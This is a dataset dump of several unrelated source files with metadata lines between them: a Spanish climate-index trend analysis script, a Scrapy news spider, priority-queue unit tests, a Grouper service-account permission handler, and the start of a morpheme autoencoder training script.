Calculo tendencias\n\n# In[25]:\n\n\n# Guardar datos de las regresiones lineales\n#==========================================================================\nparametros = ['Slope','r value', 'p value W', 'std error']\n\nindices = ['TX90','TX10','TN90','TN10','TXx','TXn','TNx','TNn','FD','ID','SU','TR','WSDI','CSDI','GSL','DTR','ETR']\nlistatablas= []\nfor i in indices:\n listatablas.append('lr'+str(i))\nfor i in listatablas:\n exec('{}= pd.DataFrame(index=nb,columns=parametros)'.format(i))\n\n\n# In[26]:\n\n\ndef regresionlineal(u):\n u = u[~u.isnull()]\n x= u.index\n y= u.tolist()\n slope, intercept, r_value, p_value, std_err = stats.linregress(x,y)\n plt.plot(x, intercept + slope*x, 'k')\n \n return slope,r_value,p_value,std_err\n\n\n# In[29]:\n\n\n# NUMERO DE DIAS DE TMAX SUPERIOR AL PERCENTIL 90 (TX90)\n#=======================================================================\nfor i in range (0,len(nb)):\n fig=plt.figure(figsize=[10,5])\n f = TX90[dias_anho_tmax>=300][nb[i]].plot(style='.-',color='r',fontsize=14)\n plt.title('TX90 - '+estaciones[i],fontsize= 15)\n plt.ylabel('Días',fontsize=14)\n plt.xlabel(' t(años) ',fontsize=14) \n plt.axis([1964, 2015, 0, 90])\n \n#=================================== REGRESION LINEAL ================================================\n\n u= TX90[dias_anho_tmax>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTX90[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_TX90_'+estaciones[i]+'.png')\n\n\n# In[30]:\n\n\n# NUMERO DE DIAS DE TMAX INFERIOR AL PERCENTIL 10 (TX10)\n#=======================================================================\nfor i in range (0,len(nb)):\n fig=plt.figure(figsize=[10,5])\n f = TX10[dias_anho_tmax>=300][nb[i]].plot(style='.-',color='r')\n plt.title('TX10 - '+estaciones[i],fontsize= 15)\n plt.ylabel('Días',fontsize=14)\n plt.xlabel(' t(años) ',fontsize=14)\n #f.set_ylim(0, 100) \n plt.axis([1964, 2015, 0, 90])\n \n#=================================== REGRESION LINEAL ================================================\n\n u= TX10[dias_anho_tmax>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTX10[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_TX10_'+estaciones[i]+'.png')\n\n\n# In[31]:\n\n\n# NUMERO DE DIAS DE TMIN SUPERIOR AL PERCENTIL 90 (TN90)\n#=======================================================================\nfor i in range (0,len(nb)):\n fig=plt.figure(figsize=[10,5])\n f = TN90[dias_anho_tmin>=300][nb[i]].plot(style='.-',title='TN90 - '+estaciones[i],color='b')\n f.set_ylabel('Días')\n f.set_xlabel(' ')\n f.set_ylim(0, 100)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= TN90[dias_anho_tmin>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTN90[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_TN90_'+estaciones[i]+'.png')\n\n\n# In[32]:\n\n\n# NUMERO DE DIAS DE TMIN INFERIOR AL PERCENTIL 10 (TN10)\n#=======================================================================\nfor i in range (0,len(nb)):\n fig=plt.figure(figsize=[10,5])\n f = TN10[dias_anho_tmin>=300][nb[i]].plot(style='.-',title='TN10 - '+estaciones[i],color='b')\n f.set_ylabel('Días')\n f.set_xlabel(' ')\n f.set_ylim(0, 100)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= TN10[dias_anho_tmin>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTN10[parametros[n]].loc[nb[i]]= resultado[n]\n\n #plt.savefig('F_TN10_'+estaciones[i]+'.png')\n\n\n# In[33]:\n\n\n\n# Absolute: Valor máximo de Tmax (TXx)\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = TXx[dias_anho_tmax>=300][nb[i]].plot(style='.-',color='r',figsize=[12,5],title='TXx - '+estaciones[i])\n f.set_ylabel('Temperatura (ºC)')\n f.set_xlabel(' ')\n f.set_ylim(25, 45)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= TXx[dias_anho_tmax>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTXx[parametros[n]].loc[nb[i]]= resultado[n]\n\n #plt.savefig('F_TXx_'+estaciones[i]+'.png')\n\n\n# In[34]:\n\n\n# Absolute: Valor minimo de Tmax (TXn)\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = TXn[dias_anho_tmax>=300][nb[i]].plot(style='.-',color='r',figsize=[12,5],title='TXn - '+estaciones[i])\n f.set_ylabel('Temperatura (ºC)')\n f.set_xlabel(' ')\n f.set_ylim(-5,15)\n \n \n#=================================== REGRESION LINEAL ================================================\n\n u= TXn[dias_anho_tmax>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTXn[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_TXn_'+estaciones[i]+'.png')\n\n\n# In[35]:\n\n\n# Absolute: Valor maximo de Tmin (TNx)\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = TNx[dias_anho_tmin>=300][nb[i]].plot(style='.-',color='b',figsize=[12,5],title='TNx - '+estaciones[i])\n f.set_ylabel('Temperatura (ºC)')\n f.set_xlabel(' ')\n f.set_ylim(12,28)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= TNx[dias_anho_tmin>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTNx[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_TNx_'+estaciones[i]+'.png')\n\n\n# In[36]:\n\n\n# Absolute: Valor minimo de Tmin\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = TNn[dias_anho_tmin>=300][nb[i]].plot(style='.-',color='b',figsize=[12,5],title='TNn - '+estaciones[i])\n f.set_ylabel('Temperatura (ºC)')\n f.set_xlabel(' ')\n f.set_ylim(-16,5.5)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= TNn[dias_anho_tmin>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTNn[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_TNn_'+estaciones[i]+'.png')\n\n\n# In[37]:\n\n\n# Threshold: Dias de Tmin por debajo de 0ºC (FD)\n#=====================================================================================================\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = FD[dias_anho_tmin>=300][nb[i]].plot(style='.-',color='b',figsize=[12,5],title='FD - '+estaciones[i])\n f.set_ylabel('Días')\n f.set_xlabel(' ')\n #f.set_ylim(0,100)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= FD[dias_anho_tmin>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrFD[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_FD_'+estaciones[i]+'.png')\n\n\n# In[38]:\n\n\n# Threshold: Dias de Tmax por debajo de 0ºC (ID)\n#=====================================================================================================\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = ID[dias_anho_tmax>=300][nb[i]].plot(style='.-',color='b',figsize=[12,2],title='ID - '+estaciones[i])\n f.set_ylabel('Días')\n f.set_xlabel(' ')\n f.set_ylim(0,3)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= ID[dias_anho_tmax>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrID[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_ID_'+estaciones[i]+'.png')\n\n\n# In[39]:\n\n\n# Threshold: días con Tmaxima superior a 25ºC (SU)\n#=====================================================================================================\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = SU[dias_anho_tmax>=300][nb[i]].plot(style='.-',color='r',figsize=[12,5],title='SU - '+estaciones[i])\n f.set_ylabel('Días')\n f.set_xlabel(' ')\n f.set_ylim(0,150)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= SU[dias_anho_tmax>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrSU[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_SU_'+estaciones[i]+'.png')\n\n\n# In[40]:\n\n\n# Threshold: días con Tmin superior a 20º (TR)\n#=====================================================================================================\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = TR[dias_anho_tmin>=300][nb[i]].plot(style='.-',color='b',figsize=[10,5],title='TR - '+estaciones[i])\n f.set_ylabel('Días')\n f.set_xlabel(' ')\n f.set_ylim(0,12)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= TR[dias_anho_tmin>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrTR[parametros[n]].loc[nb[i]]= resultado[n] \n \n #plt.savefig('F_TR_'+estaciones[i]+'.png')\n\n\n# In[41]:\n\n\n# Duration: Periodos de 6 o más días con Tmax superior al percentil 90 (WSDI)\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = WSDI[dias_anho_tmax>=300][nb[i]].plot(style='.-',color='r',figsize=[12,5],title='WSDI - '+estaciones[i])\n f.set_ylabel('Periodo (6 días)')\n f.set_xlabel(' ')\n f.set_ylim(0,15)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= WSDI[dias_anho_tmin>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrWSDI[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_WSDI_'+estaciones[i]+'.png')\n\n\n# In[43]:\n\n\n# Duration: Periodos de 6 o más días con Tmin inferior al percentil 10 (CSDI)\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = CSDI[dias_anho_tmin>=300][nb[i]].plot(style='.-',color='b',figsize=[12,2],title='CSDI - '+estaciones[i])\n f.set_ylabel('Periodo (6 días)')\n f.set_xlabel(' ')\n f.set_ylim(0,5)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= CSDI[dias_anho_tmin>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrCSDI[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_CSDI_'+estaciones[i]+'.png')\n\n\n# In[44]:\n\n\n# Duration: Growing Season Lenght (GSL)\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = GSL[nb[i]].plot(style='.-',color='b',figsize=[12,6],title='GSL - '+estaciones[i])\n f.set_ylabel('Periodo (días)')\n f.set_xlabel(' ')\n \n#=================================== REGRESION LINEAL ================================================\n\n u= GSL[nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrGSL[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_GSL_'+estaciones[i]+'.png')\n\n\n# In[45]:\n\n\n# Other: Diurnal temperature range (DTR)\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = DTR[dias_anho_tmax>=300][nb[i]].plot(style='.-',color='g',figsize=[12,5],title='DTR - '+estaciones[i])\n f.set_ylabel('Tmperatura (ºC)')\n f.set_xlabel(' ')\n #f.set_ylim(5,15)\n \n#=================================== REGRESION LINEAL ================================================\n\n u= DTR[dias_anho_tmax>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrDTR[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('F_DTR_'+estaciones[i]+'.png')\n\n\n# In[47]:\n\n\n# Other: Diurnal temperature range (ETR)\n#=====================================================================================================\n\nfor i in range(0,len(nb)):\n fig=plt.figure()\n f = ETR[nb[i]].plot(style='.-',color='g',figsize=[12,5],title='ETR - '+estaciones[i])\n f.set_ylabel('Temperatura (ºC)')\n f.set_xlabel(' ')\n #f.set_ylim(5,15)\n \n \n#=================================== REGRESION LINEAL ================================================\n\n u= ETR[dias_anho_tmax>=300][nb[i]] #Solo se tienen en cuenta años con mas de 300 datos\n resultado = regresionlineal(u)\n \n for n in range (0,len(parametros)):\n lrETR[parametros[n]].loc[nb[i]]= resultado[n]\n \n #plt.savefig('ETR_'+estaciones[i]+'.png')\n\n\n# In[48]:\n\n\nfrom scipy.stats import norm\n\ndef mk_test(x, alpha=0.05):\n\n n = len(x)\n\n # calculate S\n s = 0\n for k in range(0,n-1):\n for j in range(k+1, n):\n s += np.sign(x[j] - x[k])\n\n # calculate the unique data\n unique_x = np.unique(x)\n g = len(unique_x)\n\n # calculate the var(s)\n if n == g: # there is no tie\n var_s = (n*(n-1)*(2*n+5))/18\n else: # there are some ties in data\n tp = np.zeros(unique_x.shape)\n for i in range(len(unique_x)):\n tp[i] = sum(x == unique_x[i])\n var_s = (n*(n-1)*(2*n+5) - np.sum(tp*(tp-1)*(2*tp+5)))/18\n\n if s > 0:\n z = (s - 1)/np.sqrt(var_s)\n elif s < 0:\n z = (s + 1)/np.sqrt(var_s)\n else: # s == 0:\n z = 0\n\n # calculate the p_value\n p = 2*(1-norm.cdf(abs(z))) # two tail test\n h = abs(z) > norm.ppf(1-alpha/2)\n\n if (z < 0) and h:\n trend = 'Decreasing'\n elif (z > 0) and h:\n trend = 'Increasing'\n else:\n trend = 'no trend'\n\n return trend, p\n\n\n# In[49]:\n\n\ndef trends(df,parametro):\n columna = []\n for i in range (0,len(nb)):\n columna.append(np.nan)\n \n df['p value MK'] = columna\n #df['Trend W'] = abs(df['p value W'])<=0.05\n df['Trend MK'] = columna\n \n for i in range (0,len(nb)):\n datos = parametro[nb[i]][pd.notna(parametro[nb[i]])]\n x = datos.tolist()\n trend, p = mk_test(x,0.05)\n df['p value MK'][nb[i]] = p\n df['Trend MK'][nb[i]] = trend\n \n return df\n\n\n# In[50]:\n\n\ntablas = [lrTX90, lrTX10, lrTN90, lrTN10, lrTXx, lrTXn, lrTNx, lrTNn, lrFD, lrID, lrID, lrSU, lrTR, lrWSDI, lrCSDI, lrGSL, lrDTR, lrETR]\nindices = [TX90, TX10, TN90, TN10, TXx, TXn, TNx, TNn, FD, ID, ID, SU, TR, WSDI, CSDI, GSL, DTR, ETR]\n\nfor i in range (0,len(tablas)):\n a = tablas[i]\n b = indices[i]\n trends(a,b)\n\n\n# In[51]:\n\n\ndef color_tendenciaSignificativa(trend):\n if trend=='Decreasing':\n color = 'blue'\n elif trend==True or trend=='Increasing':\n color = 'red'\n else:\n color = 'black'\n\n return 'color: %s' % color\n\n\n# In[52]:\n\n\nlrGSL.style.applymap(color_tendenciaSignificativa, subset=['Trend MK'])\n\n\n# # Guardar datos\n\n# In[93]:\n\n\nlrTX90.to_csv('Tendencia_TX90.csv',sep=\";\")\nlrTX10.to_csv('Tendencia_TX10.csv',sep=\";\")\nlrTN90.to_csv('Tendencia_TN90.csv',sep=\";\")\nlrTN10.to_csv('Tendencia_TN10.csv',sep=\";\")\nlrTXx.to_csv('Tendencia_TXx.csv',sep=\";\")\nlrTXn.to_csv('Tendencia_TXn.csv',sep=\";\")\nlrTNx.to_csv('Tendencia_TNx.csv',sep=\";\")\nlrTNn.to_csv('Tendencia_TNn.csv',sep=\";\")\nlrFD.to_csv('Tendencia_FD.csv',sep=\";\")\nlrID.to_csv('Tendencia_ID.csv',sep=\";\")\nlrSU.to_csv('Tendencia_SU.csv',sep=\";\")\nlrTR.to_csv('Tendencia_TR.csv',sep=\";\")\nlrWSDI.to_csv('Tendencia_WSDI.csv',sep=\";\")\nlrCSDI.to_csv('Tendencia_CSDI.csv',sep=\";\")\nlrGSL.to_csv('Tendencia_GSL.csv',sep=\";\")\nlrDTR.to_csv('Tendencia_DTR.csv',sep=\";\")\nlrETR.to_csv('Tendencia_ETR.csv',sep=\";\")\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Indices_Temperatura_Anual.py","file_name":"Indices_Temperatura_Anual.py","file_ext":"py","file_size_in_byte":27598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"26733223","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom Tencent.items import zaobaoItem\n\nclass ZaobaoSpider(scrapy.Spider):\n name = 'zaobao'\n allowed_domains = ['http://www.zaobao.com']\n start_urls = ['http://www.zaobao.com/special/report/politic/fincrisis']\n title_xpath = \"//span[@class='post-title']/text()\"\n time_xpath = \"//span[@class='datestamp']/text()\"\n body_xpath = \"//div[@id = 'FineDining']/p/strong/text() | //div[@id = 'FineDining']/p/text()\"\n link_xpath = '//a[@data-path=\"special/report/politic/fincrisis\"]/@href'\n\n def get_body(self,response):\n print('#'*50)\n body = response.xpath(\"//div[@id = 'FineDining']/p/strong/text() | //div[@id = 'FineDining']/p/text()\").extract()\n for i in body:\n str += i\n return str\n\n def parse_next(self, response):\n item = zaobaoItem()\n item['title'] = response.xpath('//div[@class=\"body-content\"]/h1/text()').extract()[0]\n item['time'] = response.xpath('//div[@class=\"body-content\"]//span[@class=\"datestamp date-published meta-date-published\"]').extract()[0].split('</i>')[1].split('<em>')[0] + response.xpath('//div[@class=\"body-content\"]//span[@class=\"datestamp date-published meta-date-published\"]').extract()[0].split('</i>')[1].split('<em>')[1].split('</em>')[0]\n body = response.xpath(\"//div[@id = 'FineDining']/p/strong/text() | //div[@id = 'FineDining']/p/text()\").extract()\n strs = ''\n for i in body:\n strs += i\n item['body'] = strs\n item['link'] = response.url\n return item\n\n def parse(self, response):\n # 得到的类型为list\n # titles = response.xpath(\"//span[@class='post-title']/text()\").extract()\n # times = response.xpath(\"//span[@class='datestamp']/text()\").extract()\n links = [response.xpath('//a[@data-path=\"special/report/politic/fincrisis\"]/@href').extract()[x*2] for x in range(20)]\n # print(len(titles))\n # print(len(times))\n # print(len(links))\n # for x in range(20):\n # item = zaobaoItem()\n # url = 'http://www.zaobao.com' + links[x]\n # item['body'] = yield from scrapy.Request(url = url,callback = self.get_body,dont_filter=True)\n # item['title'] = titles[x]\n # item['time'] = times[x]\n # item['link'] = url\n # yield item\n for link in links:\n url = 'http://www.zaobao.com' + link\n yield scrapy.Request(url=url,callback = self.parse_next,dont_filter=True)","sub_path":"Tencent/Tencent/spiders/zaobao.py","file_name":"zaobao.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"263928520","text":"import unittest\nfrom priorityQueue import *\nfrom queuedObject import *\n\nclass TestQueue(unittest.TestCase):\n def testGetObjects(self):\n queue = PriorityQueue()\n\n queue.enqueue(\"Bob\", 1, 2)\n queue.enqueue(\"Joe\", 3, 4)\n queue.enqueue(\"Jack\", 5, 6)\n queue.enqueue(\"Sue\", 7, 8)\n\n self.assertEqual(queue.getObjects[0].theObject, \"Bob\")\n self.assertEqual(queue.getObjects[1].theObject, \"Joe\")\n self.assertEqual(queue.getObjects[2].theObject, \"Jack\")\n self.assertEqual(queue.getObjects[3].theObject, \"Sue\")\n\n def testSingleQueue(self):\n queue = PriorityQueue()\n queue.enqueueManyPriorities(\"David Whatsit\", [3.06])\n queue.enqueueManyPriorities(\"Joan Smith\", [4.33])\n queue.enqueueManyPriorities(\"Bob Testing\", [0.39])\n queue.enqueueManyPriorities(\"Samuel Sample\", [1.63])\n\n self.assertEqual(queue.dequeue(QueuedObject.PRIORITY_A).theObject, \"Joan Smith\")\n self.assertEqual(queue.dequeue(QueuedObject.PRIORITY_A).theObject, \"David Whatsit\")\n self.assertEqual(queue.dequeue(QueuedObject.PRIORITY_A).theObject, \"Samuel Sample\")\n self.assertEqual(queue.dequeue(QueuedObject.PRIORITY_A).theObject, \"Bob Testing\")\n\n def testDequeueA(self):\n queue = PriorityQueue()\n queue.enqueue(\"Hyperion Hypodermic Needle\", 1.99, 3)\n queue.enqueue(\"SuperSaver Syringe\", .89, 7)\n queue.enqueue(\"InjectXpress Platinum Plated Needle\", 2.49, 2)\n\n self.assertEqual(queue.dequeueA().theObject, \"InjectXpress Platinum Plated Needle\")\n self.assertEqual(queue.dequeueA().theObject, \"Hyperion Hypodermic Needle\")\n self.assertEqual(queue.dequeueA().theObject, \"SuperSaver Syringe\")\n\n def testDequeueB(self):\n queue = PriorityQueue()\n queue.enqueue(\"Hyperion Hypodermic Needle\", 1.99, 3)\n queue.enqueue(\"SuperSaver Syringe\", .89, 7)\n queue.enqueue(\"InjectXpress Platinum Plated Needle\", 2.49, 2)\n\n self.assertEqual(queue.dequeueB().theObject, \"SuperSaver Syringe\")\n self.assertEqual(queue.dequeueB().theObject, \"Hyperion Hypodermic Needle\")\n self.assertEqual(queue.dequeueB().theObject, \"InjectXpress Platinum Plated Needle\")\n\n def testDequeueC(self):\n queue = PriorityQueue()\n # I don't know what the 3rd represents, distance?\n queue.enqueueManyPriorities(\"Hyperion Hypodermic Needle\", [1.99, 3, 10])\n queue.enqueueManyPriorities(\"SuperSaver Syringe\", [.89, 7, 2])\n queue.enqueueManyPriorities(\"InjectXpress Platinum Plated Needle\", [2.49, 2, .1])\n\n self.assertEqual(queue.dequeue(3).theObject, \"Hyperion Hypodermic Needle\")\n self.assertEqual(queue.dequeue(3).theObject, \"SuperSaver Syringe\")\n self.assertEqual(queue.dequeue(3).theObject, \"InjectXpress Platinum Plated Needle\")\n\n def testCount(self):\n queue = PriorityQueue()\n queue.enqueueManyPriorities(\"Hyperion Hypodermic Needle\", [1.99, 3, 10])\n queue.enqueueManyPriorities(\"SuperSaver Syringe\", [.89, 7, 2])\n queue.enqueueManyPriorities(\"InjectXpress Platinum Plated Needle\", [2.49, 2, .1])\n\n self.assertEqual(queue.count, 3)\n\n def testClear(self):\n queue = PriorityQueue()\n queue.enqueueManyPriorities(\"Hyperion Hypodermic Needle\", [1.99, 3, 10])\n queue.enqueueManyPriorities(\"SuperSaver Syringe\", [.89, 7, 2])\n queue.enqueueManyPriorities(\"InjectXpress Platinum Plated Needle\", [2.49, 2, .1])\n\n self.assertEqual(queue.count, 3)\n queue.clear()\n self.assertEqual(queue.count, 0)\n\n def testDequeueFirst(self):\n queue = PriorityQueue()\n queue.enqueueManyPriorities(\"Hyperion Hypodermic Needle\", [1.99, 3, 0])\n queue.enqueueManyPriorities(\"SuperSaver Syringe\", [.89, 7, 1])\n queue.enqueueManyPriorities(\"InjectXpress Platinum Plated Needle\", [2.49, 2, 2])\n\n theObject = queue.dequeue(QueuedObject.PRIORITY_B) # get them out of order a bit\n self.assertEqual(queue.dequeueFirst().theObject, \"Hyperion Hypodermic Needle\")\n\n def testDequeueEmpty(self):\n \"\"\"\n What happens if the user dequeues an empty queue?\n \"\"\"\n queue = PriorityQueue()\n\n self.assertEqual(queue.dequeue(0), None)\n self.assertEqual(queue.count, 0)\n\n self.assertEqual(queue.dequeueFirst(), None)\n self.assertEqual(queue.count, 0)\n\n def testSamePriorityReturnAddedFirst(self):\n queue = PriorityQueue()\n queue.enqueue(\"Hyperion Hypodermic Needle\", 1.99, 3)\n queue.enqueue(\"SuperSaver Syringe\", .89, 7)\n queue.enqueue(\"InjectXpress Platinum Plated Needle\", 2.49, 2)\n\n self.assertEqual(queue.dequeueB().theObject, \"SuperSaver Syringe\") # forcing some sort of action\n queue.enqueue(\"Duplicate Platinum Plated Needle\", 2.49, 3)\n\n self.assertEqual(queue.dequeueA().theObject, \"InjectXpress Platinum Plated Needle\") # not the duplicate ...\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"20150717/nicholas/queueTests.py","file_name":"queueTests.py","file_ext":"py","file_size_in_byte":5002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"285533243","text":"from typing import TYPE_CHECKING\n\nfrom grouper.fe.forms import ServiceAccountPermissionGrantForm\nfrom grouper.fe.util import Alert, GrouperHandler\nfrom grouper.usecases.grant_permission_to_service_account import GrantPermissionToServiceAccountUI\n\nif TYPE_CHECKING:\n from grouper.entities.permission_grant import GroupPermissionGrant\n from typing import Any, Iterable\n\n\nclass ServiceAccountPermissionGrant(GrouperHandler, GrantPermissionToServiceAccountUI):\n def get(self, *args, **kwargs):\n # type: (*Any, **Any) -> None\n owner = kwargs[\"name\"] # type: str\n service = kwargs[\"accountname\"] # type: str\n\n usecase = self.usecase_factory.create_grant_permission_to_service_account_usecase(\n self.current_user.username, self\n )\n if not usecase.service_account_exists_with_owner(service, owner):\n return self.notfound()\n if not usecase.can_grant_permissions_for_service_account(service):\n return self.forbidden()\n\n grantable = usecase.permission_grants_for_group(owner)\n form = self._get_form(grantable)\n return self.render(\n \"service-account-permission-grant.html\", form=form, service=service, owner=owner\n )\n\n def grant_permission_to_service_account_failed_invalid_argument(\n self, permission, argument, service, message\n ):\n # type: (str, str, str, str) -> None\n form = self._get_form(self._grantable)\n form.argument.errors = [message]\n self._render_form_with_errors(form, service, self._owner)\n\n def grant_permission_to_service_account_failed_permission_denied(\n self, permission, argument, service, message\n ):\n # type: (str, str, str, str) -> None\n form = self._get_form(self._grantable)\n self.render(\n \"service-account-permission-grant.html\",\n form=form,\n service=service,\n owner=self._owner,\n alerts=[Alert(\"error\", message)],\n )\n\n def grant_permission_to_service_account_failed_permission_not_found(self, permission, service):\n # type: (str, str) -> None\n message = \"Unknown permission {}\".format(permission)\n form = self._get_form(self._grantable)\n form.permission.errors = [message]\n self._render_form_with_errors(form, service, self._owner)\n\n def grant_permission_to_service_account_failed_service_account_not_found(self, service):\n # type: (str) -> None\n self.notfound()\n\n def granted_permission_to_service_account(self, permission, argument, service):\n # type: (str, str, str) -> None\n url = \"/groups/{}/service/{}?refresh=yes\".format(self._owner, service)\n self.redirect(url)\n\n def post(self, *args, **kwargs):\n # type: (*Any, **Any) -> None\n self._owner = kwargs[\"name\"] # type: str\n service = kwargs[\"accountname\"] # type: str\n\n usecase = self.usecase_factory.create_grant_permission_to_service_account_usecase(\n self.current_user.username, self\n )\n if not usecase.service_account_exists_with_owner(service, self._owner):\n return self.notfound()\n self._grantable = usecase.permission_grants_for_group(self._owner)\n form = self._get_form(self._grantable)\n if not form.validate():\n return self._render_form_with_errors(form, service, self._owner)\n\n usecase.grant_permission_to_service_account(\n form.data[\"permission\"], form.data[\"argument\"], service\n )\n\n def _get_form(self, grantable):\n # type: (Iterable[GroupPermissionGrant]) -> ServiceAccountPermissionGrantForm\n \"\"\"Helper to create a ServiceAccountPermissionGrantForm.\n\n Populate it with all the grantable permissions. Note that the first choice is blank so the\n first permission alphabetically isn't always selected.\n\n Returns:\n ServiceAccountPermissionGrantForm object.\n \"\"\"\n form = ServiceAccountPermissionGrantForm(self.request.arguments)\n form.permission.choices = [[\"\", \"(select one)\"]]\n for grant in grantable:\n entry = \"{} ({})\".format(grant.permission, grant.argument)\n form.permission.choices.append([grant.permission, entry])\n return form\n\n def _render_form_with_errors(self, form, service, owner):\n # type: (ServiceAccountPermissionGrantForm, str, str) -> None\n self.render(\n \"service-account-permission-grant.html\",\n form=form,\n service=service,\n owner=owner,\n alerts=self.get_form_alerts(form.errors),\n )\n","sub_path":"grouper/fe/handlers/service_account_permission_grant.py","file_name":"service_account_permission_grant.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"551068510","text":"\"\"\"\n:Authors: - Wilker Aziz, adapted for characters and morphemes by Sander Bijl de Vroe\n\"\"\"\nimport os\nos.environ[\"THEANO_FLAGS\"] = \"device=cpu\"\n\nimport theano\n\nimport numpy as np\nimport logging\nimport tempfile\nimport shutil\nfrom datetime import datetime\nfrom keras import optimizers\nfrom dgm4nlp.embedalign_morphlem.morphlem_autoencoder import test_morphlem_auto_encoder\nfrom dgm4nlp.callback import EarlyStoppingChain\nfrom dgm4nlp.ibm import UniformAlignmentComponent\n\nnp.random.seed(42)\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s %(message)s', datefmt='%H:%M:%S')\n\n# 1. Get a unique working directory and save script for reproducibility\nbase_dir = '/home/sander/Documents/Master/Thesis/experiments'\n#base_dir = '/home/sander/Documents/Master/Thesis/experiments'\nos.makedirs(base_dir, exist_ok=True) # make sure base_dir exists\noutput_dir = tempfile.mkdtemp(prefix= 'first', suffix=datetime.now().strftime(\"%y-%m-%d.%Hh%Mm%Ss.\"), dir=base_dir)\nlogging.info('Workspace: %s', output_dir)\nshutil.copy(os.path.abspath(__file__), output_dir)\n\n# 2. Config convergence criteria\ncriteria = EarlyStoppingChain(monitor=['val_loss', 'val_aer'],\n min_delta=[0.1, 0.01],\n patience=[5, 5],\n mode=['min', 'min'],\n initial_epoch=10,\n verbose=True)\n\n# 3. Train model\ntest_morphlem_auto_encoder(training_paths=['/home/sander/Documents/Master/Thesis/data_may/tr.norm',\n '/home/sander/Documents/Master/Thesis/data_may/en.norm',\n '/home/sander/Documents/Master/Thesis/data_may/tr.morph',\n 